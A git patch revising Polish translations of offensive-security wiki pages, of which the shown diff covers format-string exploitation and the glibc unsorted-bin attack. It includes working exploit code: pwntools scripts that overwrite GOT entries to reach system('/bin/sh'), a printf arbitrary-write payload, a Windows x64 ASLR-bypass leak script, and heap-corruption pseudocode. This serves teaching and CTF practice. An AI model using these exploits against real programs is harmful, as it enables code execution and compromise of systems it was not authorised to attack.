From d7199d82dccbc2ac61cd00b05673028497675753 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 29 Aug 2025 12:27:49 +0000 Subject: [PATCH] Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's --- .../format-strings/README.md | 85 +-- .../libc-heap/unsorted-bin-attack.md | 119 ++-- .../stack-overflow/README.md | 73 +- .../stack-overflow/stack-shellcode/README.md | 70 +- .../stack-overflow/windows-seh-overflow.md | 52 +- .../phishing-documents.md | 64 +- .../privilege-escalation/README.md | 550 +++++++-------- .../arm64-basic-assembly.md | 473 ++++++------- .../pentesting-web/README.md | 225 +++--- .../pentesting-web/apache.md | 118 ++-- .../pentesting-web/ispconfig.md | 44 +- src/pentesting-web/command-injection.md | 28 +- src/pentesting-web/idor.md | 78 +- .../xs-search/css-injection/README.md | 190 ++--- .../xss-cross-site-scripting/README.md | 384 +++++----- .../xss-cross-site-scripting/js-hoisting.md | 42 +- .../pentesting-ble-bluetooth-low-energy.md | 52 +- .../ad-certificates/README.md | 84 +-- .../ad-certificates/domain-escalation.md | 450 ++++++------ .../uac-user-account-control.md | 112 +-- .../README.md | 664 +++++++++--------- .../arbitrary-kernel-rw-token-theft.md | 42 +- .../com-hijacking.md | 34 +- .../named-pipe-client-impersonation.md | 70 +- .../roguepotato-and-printspoofer.md | 48 +- 25 files changed, 2065 insertions(+), 2086 deletions(-) diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index b16da4f01..7e8caac5c 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -5,13 +5,13 @@ ## Podstawowe informacje -W C **`printf`** jest funkcją, którą można użyć do **wypisania** ciągu znaków. Jako **pierwszy parametr** funkcja oczekuje **surowego tekstu ze specyfikatorami formatu**. Kolejne oczekiwane **parametry** to **wartości**, które zostaną użyte do **podstawienia** **specyfikatorów formatu** w surowym tekście. +W C **`printf`** jest funkcją, którą można użyć do **wypisania** łańcucha znaków. Jako **pierwszy parametr** ta funkcja oczekuje **surowego tekstu ze specyfikatorami formatu**. Zaś **kolejne parametry** to **wartości**, które służą do **podstawienia** **specyfikatorów** w surowym tekście. -Inne podatne funkcje to **`sprintf()`** i **`fprintf()`**. +Innymi podatnymi funkcjami są **`sprintf()`** i **`fprintf()`**. -Luka pojawia się, gdy jako **pierwszy argument** tej funkcji użyty zostanie **tekst sterowany przez atakującego**. Atakujący będzie mógł skonstruować **specjalne wejście wykorzystujące** możliwości ciągów formatu `printf` do odczytu i **zapisu dowolnych danych pod dowolnym adresem (do odczytu/zapisu)**. Daje to możliwość **wykonania dowolnego kodu**. +Luka pojawia się, gdy **tekst kontrolowany przez atakującego jest użyty jako pierwszy argument** tej funkcji. Atakujący będzie w stanie przygotować **specjalne wejście wykorzystujące** możliwości **printf format** do odczytu i **zapisania dowolnych danych pod dowolnym adresem (umożliwiającym odczyt/zapis)**. Dając w ten sposób możliwość **wykonania dowolnego kodu**. -#### Specyfikatory formatu: +#### Specyfikatory: ```bash %08x —> 8 hex bytes %d —> Entire @@ -24,7 +24,7 @@ Luka pojawia się, gdy jako **pierwszy argument** tej funkcji użyty zostanie ** ``` **Przykłady:** -- Wrażliwy przykład: +- Przykład podatny: ```c char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. @@ -54,26 +54,26 @@ return 0; ``` ### **Dostęp do wskaźników** -Format **`%$x`**, gdzie `n` jest liczbą, pozwala wskazać printfowi, aby wybrał n-ty parametr (ze stosu). Więc jeśli chcesz odczytać 4. parametr ze stosu za pomocą printf, możesz zrobić: +Format **`%$x`**, gdzie `n` jest liczbą, pozwala funkcji `printf` wybrać n-ty parametr (ze stosu). Więc jeśli chcesz odczytać czwarty parametr ze stosu za pomocą `printf`, możesz zrobić: ```c printf("%x %x %x %x") ``` -i odczytałbyś od pierwszego do czwartego param. +i odczytałbyś parametry od pierwszego do czwartego. Albo możesz zrobić: ```c printf("%4$x") ``` -i odczytać bezpośrednio czwarty parametr. +i odczytać bezpośrednio czwarty element. -Zauważ, że atakujący kontroluje parametr `printf` **, co w praktyce oznacza, że** jego dane wejściowe znajdą się na stosie, gdy `printf` zostanie wywołany, a to oznacza, że może wypisać na stosie konkretne adresy pamięci. +Zauważ, że atakujący kontroluje `printf` **parameter, which basically means that** jego dane znajdą się na stacku, gdy `printf` zostanie wywołany, co oznacza, że może zapisać konkretne adresy pamięci na stacku. > [!CAUTION] -> Atakujący kontrolujący to wejście będzie w stanie **dodać dowolne adresy na stosie i sprawić, by `printf` uzyskał do nich dostęp**. W następnej sekcji wyjaśnione zostanie, jak wykorzystać to zachowanie. +> Atakujący kontrolujący to wejście będzie w stanie **dodać dowolne address in the stack and make `printf` access them**. W następnej sekcji wyjaśnione zostanie, jak wykorzystać to zachowanie. ## **Arbitrary Read** -Można użyć formatera **`%n$s`**, aby sprawić, że **`printf`** pobierze **adres** znajdujący się na pozycji **n**, podąży za nim i **wydrukuje go tak, jakby był stringiem** (drukuje aż do znalezienia 0x00). Zatem jeśli baza binarki to **`0x8048000`**, i wiemy, że dane użytkownika zaczynają się na 4. pozycji na stosie, można wydrukować początek binarki za pomocą: +Można użyć formattera **`%n$s`**, aby zmusić **`printf`** do pobrania **address** znajdującego się na **n position**, następnie podążenia za nim i **wydrukowania go tak, jakby był stringiem** (drukuje aż do napotkania 0x00). Zatem jeśli baza binarki to **`0x8048000`**, i wiemy, że dane użytkownika zaczynają się na czwartej pozycji na stacku, można wydrukować początek binarki za pomocą: ```python from pwn import * @@ -87,11 +87,11 @@ p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` > [!CAUTION] -> Pamiętaj, że nie możesz umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie cat w 0x00 na końcu tego adresu. +> Zwróć uwagę, że nie możesz umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie zakończony bajtem 0x00 na końcu tego adresu. ### Znajdź offset -Aby znaleźć offset do swojego wejścia możesz wysłać 4 lub 8 bajtów (`0x41414141`) po których umieścisz **`%1$x`** i **zwiększać** tę wartość aż odzyskasz `A's`. +Aby znaleźć offset do swojego wejścia możesz wysłać 4 lub 8 bajtów (`0x41414141`) po których dodać **`%1$x`** i **zwiększać** wartość aż pojawią się `A's`.
@@ -130,35 +130,35 @@ p.close() Arbitrary reads mogą być przydatne do: -- **Dump** **binary** z pamięci -- **Access specific parts of memory where sensitive** **info** jest przechowywane (np. canaries, encryption keys lub custom passwords — jak w tym [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **Dump** the **binary** z pamięci +- **Access specific parts of memory where sensitive** **info** jest przechowywane (np. canaries, encryption keys lub custom passwords jak w tym [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) ## **Arbitrary Write** -Formatter **`%$n`** **zapisuje** **liczbę zapisanych bajtów** w **wskazanym adresie** w parametrze na stosie. Jeśli atakujący może zapisać dowolną liczbę znaków za pomocą printf, będzie w stanie sprawić, że **`%$n`** zapisze dowolną liczbę pod dowolnym adresem. +Formatter **`%$n`** **writes** liczbę zapisanych bajtów w wskazanym adresie znajdującym się w parametrze na stosie. Jeśli atakujący może wypisać dowolną liczbę znaków za pomocą printf, będzie w stanie sprawić, że **`%$n`** zapisze dowolną liczbę pod dowolnym adresem. -Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia — można użyć formatera **`%.%$n`**, aby zapisać liczbę **``** w **adresie wskazywanym przez pozycję `num`**. +Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia — można użyć formattera **`%.%$n`** aby zapisać liczbę **``** pod adresem wskazywanym przez pozycję `num`. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -Zauważ jednak, że zwykle, aby zapisać adres taki jak `0x08049724` (co jest OGROMNĄ liczbą do zapisania na raz), zamiast `$n` **używa się `$hn`**. To pozwala **zapisać tylko 2 bajty**. W związku z tym operacja ta jest wykonywana dwukrotnie: raz dla najwyższych 2B adresu, a drugi raz dla najniższych. +Jednak zwróć uwagę, że zazwyczaj aby zapisać adres taki jak `0x08049724` (co jest OGROMNĄ wartością do zapisania naraz), **używa się `$hn`** zamiast `$n`. Pozwala to **zapisać tylko 2 bajty**. Dlatego operacja ta wykonywana jest dwukrotnie: raz dla wyższych 2B adresu, i raz dla niższych. -W związku z tym ta luka pozwala **zapisać dowolne dane pod dowolny adres (arbitrary write).** +Wobec tego ta luka pozwala **zapisać cokolwiek pod dowolny adres (arbitrary write).** -W tym przykładzie celem będzie **nadpisanie** **adresu** **funkcji** w tabeli **GOT**, która zostanie wywołana później. Chociaż można to także wykorzystać w innych technikach arbitrary write to exec: +W tym przykładzie celem będzie **nadpisanie** **adresu** **funkcji** w tabeli **GOT**, która zostanie wywołana później. Choć można to też wykorzystać przy innych technikach arbitrary write to exec: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -Zamierzamy **nadpisać** **funkcję**, która **otrzymuje** swoje **argumenty** od **użytkownika** i **wskazać** ją na funkcję **`system`**.\ -Jak wspomniano, aby zapisać adres zwykle potrzebne są 2 kroki: najpierw **zapisujesz 2 bajty** adresu, a potem pozostałe 2. Do tego używa się **`$hn`**. +Zamierzamy **nadpisać** **funkcję**, która **otrzymuje** swoje **argumenty** od **użytkownika** i **skierować** ją na funkcję **`system`**.\ +Jak wspomniano, zwykle zapis adresu wymaga 2 kroków: najpierw **zapisujesz 2 bajty** adresu, a potem pozostałe 2. Do tego używa się **`$hn`**. - **HOB** odnosi się do 2 wyższych bajtów adresu - **LOB** odnosi się do 2 niższych bajtów adresu -Następnie, ze względu na działanie format string trzeba najpierw **zapisać mniejszy** z \[HOB, LOB] a potem drugi. +Następnie, z powodu działania format string musisz najpierw **zapisać najmniejszy** z \[HOB, LOB] a potem drugi. Jeśli HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` @@ -170,16 +170,16 @@ HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` -### Szablon Pwntools +### Pwntools Template -Możesz znaleźć **szablon** do przygotowania exploita dla tego rodzaju podatności w: +Możesz znaleźć **szablon** do przygotowania exploita dla tego typu podatności w: {{#ref}} format-strings-template.md {{#endref}} -Albo ten podstawowy przykład dostępny [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): +Albo ten podstawowy przykład z [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): ```python from pwn import * @@ -198,26 +198,26 @@ p.sendline('/bin/sh') p.interactive() ``` -## Format Strings to BOF +## Format Strings do BOF -Można nadużyć operacji zapisu wynikających z podatności typu format string, aby **zapisać pod adresy na stacku** i wykorzystać podatność typu **buffer overflow**. +Można nadużyć operacji zapisu wynikających z luki format string, aby **zapisać do adresów na stosie** i wykorzystać lukę typu **buffer overflow**. -## Windows x64: Format-string leak to bypass ASLR (no varargs) +## Windows x64: Format-string leak do obejścia ASLR (no varargs) -Na Windows x64 pierwsze cztery integer/pointer parametry są przekazywane w rejestrach: RCX, RDX, R8, R9. W wielu buggy call-sites attacker-controlled string jest używany jako format argument, ale nie dostarczono variadic arguments, na przykład: +Na Windows x64 pierwsze cztery parametry całkowitoliczbowe/wskaźnikowe są przekazywane w rejestrach: RCX, RDX, R8, R9. W wielu wadliwych call-sites ciąg kontrolowany przez atakującego jest używany jako argument formatowy, ale nie są dostarczone żadne variadic arguments, na przykład: ```c // keyData is fully controlled by the client // _snprintf(dst, len, fmt, ...) _snprintf(keyStringBuffer, 0xff2, (char*)keyData); ``` -Ponieważ nie są przekazywane żadne varargs, każda konwersja taka jak "%p", "%x", "%s" spowoduje, że CRT odczyta następny argument wariadyczny z odpowiedniego rejestru. With the Microsoft x64 calling convention pierwsze takie odczytanie dla "%p" pochodzi z R9. Jakakolwiek przemijająca wartość w R9 w miejscu wywołania zostanie wypisana. W praktyce this often leaks a stable in-module pointer (np. wskaźnik do obiektu lokalnego/globalnego wcześniej umieszczonego w R9 przez otaczający kod lub wartość zachowaną przez callee), który można wykorzystać do odzyskania module base i obejścia ASLR. +Ponieważ nie są przekazywane varargs, każda konwersja taka jak "%p", "%x", "%s" spowoduje, że CRT odczyta następny argument wariadyczny z odpowiedniego rejestru. W konwencji wywołań Microsoft x64 pierwszy taki odczyt dla "%p" pochodzi z R9. Jakakolwiek chwilowa wartość w R9 w miejscu wywołania zostanie wydrukowana. W praktyce często powoduje to leak stabilnego in-module pointer (np. pointer do local/global object wcześniej umieszczonego w R9 przez otaczający kod lub callee-saved value), który można wykorzystać do odzyskania module base i obejścia ASLR. -Practical workflow: +Praktyczny workflow: -- Wstrzyknij nieszkodliwy format taki jak "%p " na samym początku ciągu kontrolowanego przez atakującego, tak aby pierwsza konwersja wykonała się przed jakimkolwiek filtrowaniem. -- Capture the leaked pointer, zidentyfikuj statyczny offset tego obiektu wewnątrz modułu (poprzez jednokrotne reverse-engineering z symbolami lub lokalną kopię) i odzyskaj image base jako `leak - known_offset`. -- Wykorzystaj tę bazę do obliczenia absolutnych adresów dla ROP gadgets i IAT entries zdalnie. +- Wstrzyknij nieszkodliwy format taki jak "%p " na samym początku kontrolowanego przez atakującego stringa, tak aby pierwsza konwersja wykonała się przed jakimkolwiek filtrowaniem. +- Przechwyć leaked pointer, zidentyfikuj statyczny offset tego obiektu wewnątrz modułu (poprzez reversing z użyciem symboli lub lokalnej kopii), i odzyskaj image base jako `leak - known_offset`. +- Wykorzystaj image base do obliczenia absolutnych adresów dla ROP gadgets i IAT entries zdalnie. Example (abbreviated python): ```python @@ -232,9 +232,9 @@ base = leaked - 0x20660 # module base = leak - offset print(hex(leaked), hex(base)) ``` Notatki: -- Dokładny offset do odjęcia znajduje się raz podczas lokalnego reversing i następnie jest ponownie używany (ten sam binary/version). -- Jeśli "%p" nie wypisuje prawidłowego pointera za pierwszym razem, spróbuj innych specyfikatorów ("%llx", "%s") lub wielu konwersji ("%p %p %p") aby spróbkować innych argument registers/stack. -- Ten wzorzec jest specyficzny dla Windows x64 calling convention oraz implementacji printf-family, które pobierają nieistniejące varargs z registers, gdy format string ich żąda. +- Dokładny offset do odjęcia jest znajdowany raz podczas local reversing i następnie używany ponownie (ten sam binary/version). +- Jeśli "%p" nie wypisuje poprawnego pointera za pierwszym razem, spróbuj innych specyfikatorów ("%llx", "%s") lub wielu konwersji ("%p %p %p") aby spróbkować innych argument registers/stack. +- Ten wzorzec jest specyficzny dla Windows x64 calling convention oraz implementacji printf-family, które pobierają nieistniejące varargs z registers gdy format string ich zażąda. Ta technika jest niezwykle przydatna do bootstrap ROP na Windows services skompilowanych z ASLR i bez oczywistych memory disclosure primitives. @@ -244,13 +244,14 @@ Ta technika jest niezwykle przydatna do bootstrap ROP na Windows services skompi - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32 bit, no relro, no canary, nx, no pie, podstawowe użycie format strings do leak flag z stack (brak potrzeby zmiany przepływu wykonania) +- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bit, relro, no canary, nx, no pie, format string do nadpisania adresu `fflush` funkcją win (ret2win) +- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 bit, relro, no canary, nx, no pie, format string do zapisania adresu wewnątrz main w `.fini_array` (tak że flow wraca jeszcze raz) oraz zapisania adresu `system` w GOT wskazującym na `strlen`. Kiedy flow wróci do main, `strlen` zostanie wykonany z danymi użytkownika i wskazując na `system`, wykona przekazane polecenia. +- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands. -## Odniesienia + +## Referencje - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) - [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention) diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index 2748f7a92..fcab33d21 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -11,64 +11,61 @@ Aby uzyskać więcej informacji o tym, czym jest unsorted bin sprawdź tę stron bins-and-memory-allocations.md {{#endref}} -Unsorted lists mogą zapisać adres `unsorted_chunks (av)` w polu `bk` chunku. Dlatego, jeśli atakujący potrafi **zmodyfikować adres wskaźnika `bk`** w chunku znajdującym się w unsorted bin, może być w stanie **zapisać ten adres pod dowolnym adresem**, co może pomóc w leakowaniu adresów Glibc lub obejściu pewnych zabezpieczeń. +Unsorted lists mogą zapisać adres `unsorted_chunks (av)` w polu `bk` chunku. Dlatego, jeśli atakujący może **zmodyfikować adres wskaźnika `bk`** w chunku znajdującym się w unsorted bin, może być w stanie **zapisać ten adres pod dowolnym adresem**, co może pomóc w leak adresów Glibc lub obejściu niektórych zabezpieczeń. -Tak więc w praktyce ten atak pozwala **ustawić dużą wartość pod dowolnym adresem**. Ta duża wartość to adres, który może być adresem heap lub Glibc. Tradycyjnym celem było **`global_max_fast`**, aby umożliwić tworzenie fast binów o większych rozmiarach (i przejście z unsorted bin attack do fast bin attack). +Zasadniczo ten atak pozwala **ustawić dużą liczbę pod dowolnym adresem**. Ta duża liczba to adres, który może być adresem na heapie lub adresem w Glibc. Tradycyjnym celem było **`global_max_fast`**, aby umożliwić tworzenie fast binów o większych rozmiarach (i przejście z unsorted bin attack do fast bin attack). -- Uwaga (glibc ≥ 2.39): `global_max_fast` stał się globalem 8‑bitowym. Bezmyślne zapisanie tam wskaźnika przez unsorted‑bin write nadpisze sąsiednie dane libc i nie podniesie niezawodnie limitu fastbin. Lepiej wybierać inne cele lub inne prymitywy przy atakowaniu glibc 2.39+. Zobacz "Modern constraints" poniżej i rozważ łączenie z innymi technikami, jak [large bin attack](large-bin-attack.md) lub [fast bin attack](fast-bin-attack.md), gdy masz stabilny prymityw. +- Modern note (glibc ≥ 2.39): `global_max_fast` stał się globalem 8‑bitowym. Ślepe zapisanie wskaźnika tam przez unsorted‑bin write nadpisze sąsiednie dane libc i nie podniesie już niezawodnie limitu fastbin. Preferuj inne cele lub inne prymitywy przy pracy przeciwko glibc 2.39+. Zobacz "Modern constraints" poniżej i rozważ łączenie z innymi technikami, takimi jak [large bin attack](large-bin-attack.md) lub [fast bin attack](fast-bin-attack.md), gdy masz stabilny prymityw. > [!TIP] -> T> Przejrzenie przykładu podanego w [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) i użycie 0x4000 oraz 0x5000 zamiast 0x400 i 0x500 jako rozmiarów chunków (aby uniknąć Tcache) pokazuje, że **dziś** wywoływany jest błąd **`malloc(): unsorted double linked list corrupted`**. +> Spoglądając na przykład podany w [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) i używając 0x4000 oraz 0x5000 zamiast 0x400 i 0x500 jako rozmiarów chunków (aby uniknąć Tcache) można zobaczyć, że **współcześnie** pojawia się błąd **`malloc(): unsorted double linked list corrupted`**. +> +> W związku z tym ten unsorted bin attack teraz (między innymi sprawdzeniami) wymaga również możliwości naprawienia listy dwukierunkowej, tak aby sprawdzenia `victim->bk->fd == victim` oraz `victim->fd == av (arena)` nie powodowały abortu; oznacza to, że adres, pod który chcemy zapisać, musi zawierać adres fałszywego chunku na pozycji `fd`, a pole `fd` fałszywego chunku musi wskazywać na arena. > -> W związku z tym ten unsorted bin attack obecnie (oprócz innych sprawdzeń) wymaga także naprawienia listy dwukierunkowej, żeby obejść `victim->bk->fd == victim` lub `victim->fd == av (arena)`, co oznacza, że adres, pod który chcemy zapisać, musi mieć adres fałszywego chunku w swoim polu `fd`, oraz że `fd` fałszywego chunku wskazuje na arena. - > [!CAUTION] -> Uwaga, ten atak korumpuje unsorted bin (a więc także small i large). Możemy więc teraz tylko **używać alokacji z fast bin** (bardziej złożony program może wykonywać inne alokacje i się zawiesić), i aby wywołać to musimy **alokować tę samą wielkość, w przeciwnym razie program się rozbije.** +> Zauważ, że ten atak korumpuje unsorted bin (a zatem również small i large). Dlatego teraz możemy korzystać tylko z alokacji z fast binów (bardziej złożony program może wykonać inne alokacje i się zawiesić), i aby to wywołać musimy **alokować tego samego rozmiaru, inaczej program się zawiesi.** > -> Nadpisanie **`global_max_fast`** może w tym przypadku pomóc, zakładając, że fast bin poradzi sobie ze wszystkimi innymi alokacjami do czasu zakończenia exploitu. +> Zastanów się nad nadpisaniem **`global_max_fast`**, co w tym przypadku może pomóc z założeniem, że fast bin poradzi sobie ze wszystkimi innymi alokacjami do czasu zakończenia exploitu. -Kod od [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) wyjaśnia to bardzo dobrze, chociaż jeśli zmodyfikujesz mallocy tak, by alokowały pamięć na tyle dużą, żeby nie kończyć w Tcache, można zobaczyć wspomniany wcześniej błąd zapobiegający tej technice: **`malloc(): unsorted double linked list corrupted`** +Kod od [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) bardzo dobrze to wyjaśnia, chociaż jeśli zmodyfikujesz mallocy tak, aby alokować pamięć wystarczająco dużą, by nie trafiać do Tcache, możesz zobaczyć wcześniej wspomniany błąd uniemożliwiający tę technikę: **`malloc(): unsorted double linked list corrupted`** -### Jak zapis faktycznie zachodzi +### How the write actually happens -- Unsorted‑bin write jest wyzwalany przy `free`, gdy zwolniony chunk jest wstawiany na początek unsorted listy. -- Podczas wstawiania alokator wykonuje: `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` -- Jeśli możesz ustawić `victim->bk` na `(mchunkptr)(TARGET - 0x10)` przed wywołaniem `free(victim)`, to ostatnie przypisanie wykona zapis: `*(TARGET) = victim`. -- Później, kiedy alokator przetwarza unsorted bin, sprawdzenia integralności potwierdzą (m.in.), że `bck->fd == victim` oraz `victim->fd == unsorted_chunks(av)` zanim wykona unlink. Ponieważ podczas wstawiania już zapisano `victim` w `bck->fd` (naszym `TARGET`), te sprawdzenia mogą zostać spełnione jeśli zapis się powiódł. +- The unsorted-bin write is triggered on `free` when the freed chunk is inserted at the head of the unsorted list. +- During insertion, the allocator performs `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` +- If you can set `victim->bk` to `(mchunkptr)(TARGET - 0x10)` before calling `free(victim)`, the final statement will perform the write: `*(TARGET) = victim`. +- Later, when the allocator processes the unsorted bin, integrity checks will verify (among other things) that `bck->fd == victim` and `victim->fd == unsorted_chunks(av)` before unlinking. Because the insertion already wrote `victim` into `bck->fd` (our `TARGET`), these checks can be satisfied if the write succeeded. -## Ograniczenia w nowych wersjach (glibc ≥ 2.33) +## Modern constraints (glibc ≥ 2.33) Aby używać unsorted‑bin writes niezawodnie na aktualnym glibc: -- Tcache interference: dla rozmiarów mieszczących się w tcache, free są przekierowywane tam i nie trafiają do unsorted bin. Można: +- Tcache interference: dla rozmiarów trafiających do tcache, frees są przekierowywane tam i nie dotykają unsorted bin. Możesz: - robić żądania o rozmiarach > MAX_TCACHE_SIZE (≥ 0x410 na 64‑bit domyślnie), lub - - zapełnić odpowiadający bin tcache (7 wpisów), tak aby kolejne free trafiły do global bins, lub - - jeśli środowisko jest kontrolowane, wyłączyć tcache (np. GLIBC_TUNABLES glibc.malloc.tcache_count=0). -- Sprawdzenia integralności na unsorted list: na ścieżce alokacji, która bada unsorted bin, glibc sprawdza (uproszczone): - - `bck->fd == victim` oraz `victim->fd == unsorted_chunks(av)`; w przeciwnym razie przerywa działanie z `malloc(): unsorted double linked list corrupted`. -- To oznacza, że adres, który atakujesz, musi tolerować dwa zapisy: najpierw `*(TARGET) = victim` w czasie free; później, gdy chunk jest usuwany, `*(TARGET) = unsorted_chunks(av)` (alokator nadpisuje `bck->fd` z powrotem adresem głowy binu). Wybierz cele, gdzie wymuszenie dużej, niezerowej wartości jest użyteczne. + - zapełnić odpowiadającą tcache binę (7 wpisów), tak aby kolejne free trafiały do globalnych binów, lub + - jeśli środowisko jest kontrolowalne, wyłączyć tcache (np. GLIBC_TUNABLES glibc.malloc.tcache_count=0). +- Integrity checks on the unsorted list: na ścieżce alokacji, która bada unsorted bin, glibc sprawdza (uproszczone): + - `bck->fd == victim` oraz `victim->fd == unsorted_chunks(av)`; w przeciwnym wypadku abortuje z `malloc(): unsorted double linked list corrupted`. +- To oznacza, że adres, który atakujesz, musi tolerować dwa zapisy: najpierw `*(TARGET) = victim` w czasie free; później, gdy chunk jest usuwany, `*(TARGET) = unsorted_chunks(av)` (allocator nadpisuje `bck->fd` z powrotem adresem nagłówka binka). Wybierz cele, gdzie wymuszenie dużej, nie‑zerowej wartości ma sens. - Typowe stabilne cele we współczesnych exploitach: - - stan aplikacji lub globalny stan traktujący "duże" wartości jako flagi/limity, - - pośrednie prymitywy (np. przygotowanie do późniejszego [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) lub pivot dla kolejnego write‑what‑where). -- Unikaj `__malloc_hook`/`__free_hook` w nowych glibc: zostały usunięte w 2.34. Unikaj `global_max_fast` w wersjach ≥ 2.39 (zob. powyżej). + - stan aplikacji lub globalny, który traktuje "duże" wartości jako flagi/limity, + - prymitywy pośrednie (np. przygotowanie do późniejszego [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) lub do pivotu późniejszego write‑what‑where). +- Unikaj `__malloc_hook`/`__free_hook` w nowych glibc: zostały usunięte w 2.34. Unikaj `global_max_fast` na ≥ 2.39 (zobacz wcześniejszą uwagę). -- O `global_max_fast` w nowszym glibc - - W glibc 2.39+ `global_max_fast` jest globalem 8‑bitowym. Klasyczny trik zapisania wskaźnika heap tam (by powiększyć fastbins) już nie działa czysto i prawdopodobnie skazi sąsiedni stan alokatora. Lepiej stosować inne strategie. +## Minimal exploitation recipe (modern glibc) -## Minimalny przepis na eksploatację (nowoczesny glibc) - -Cel: uzyskać pojedynczy arbitralny zapis wskaźnika heap na dowolny adres przy użyciu prymitywu wstawiania unsorted‑bin, bez wywoływania crasha. +Cel: osiągnąć pojedynczy arbitralny zapis wskaźnika heapowego pod dowolny adres przy użyciu prymitywu wstawiania do unsorted‑bin, bez crasha. - Layout/grooming - Alokuj A, B, C o rozmiarach wystarczająco dużych, by ominąć tcache (np. 0x5000). C zapobiega konsolidacji z top chunk. - Corruption - Overflow z A do nagłówka chunku B, aby ustawić `B->bk = (mchunkptr)(TARGET - 0x10)`. - Trigger - - `free(B)`. W czasie wstawiania alokator wykona `bck->fd = B`, więc `*(TARGET) = B`. -- Kontynuacja - - Jeśli planujesz kontynuować alokacje i program używa unsorted bin, spodziewaj się, że alokator później ustawi `*(TARGET) = unsorted_chunks(av)`. Obie wartości zwykle są duże i mogą wystarczyć do zmiany semantyki rozmiaru/limitów w celach, które tylko sprawdzają "duże". + - `free(B)`. W czasie wstawiania allocator wykonuje `bck->fd = B`, więc `*(TARGET) = B`. +- Continuation + - Jeśli planujesz dalsze alokacje i program używa unsorted bin, spodziewaj się, że allocator później ustawi `*(TARGET) = unsorted_chunks(av)`. Obie wartości są zwykle duże i mogą wystarczyć do zmiany semantyki rozmiaru/limitu w celach, które tylko sprawdzają "duże". -Szkielet pseudokodu: +Pseudocode skeleton: ```c // 64-bit glibc 2.35–2.38 style layout (tcache bypass via large sizes) void *A = malloc(0x5000); @@ -81,33 +78,33 @@ void *C = malloc(0x5000); // guard free(B); // triggers *(TARGET) = B (unsorted-bin insertion write) ``` > [!NOTE] -> • Jeśli nie możesz ominąć tcache za pomocą rozmiaru, zapełnij tcache bin dla wybranego rozmiaru (7 frees) przed zwolnieniem uszkodzonego chunku, aby free trafił do unsorted. -> • Jeśli program natychmiast przerywa wykonanie przy następnej alokacji z powodu unsorted-bin checks, sprawdź ponownie, czy `victim->fd` wciąż równa się bin head oraz czy twój `TARGET` zawiera dokładny pointer do `victim` po pierwszym zapisie. +> • Jeśli nie możesz obejść tcache przez rozmiar, zapełnij tcache bin dla wybranego rozmiaru (7 frees) przed zwolnieniem sfałszowanego chunku, tak aby free trafił do unsorted. +> • Jeśli program 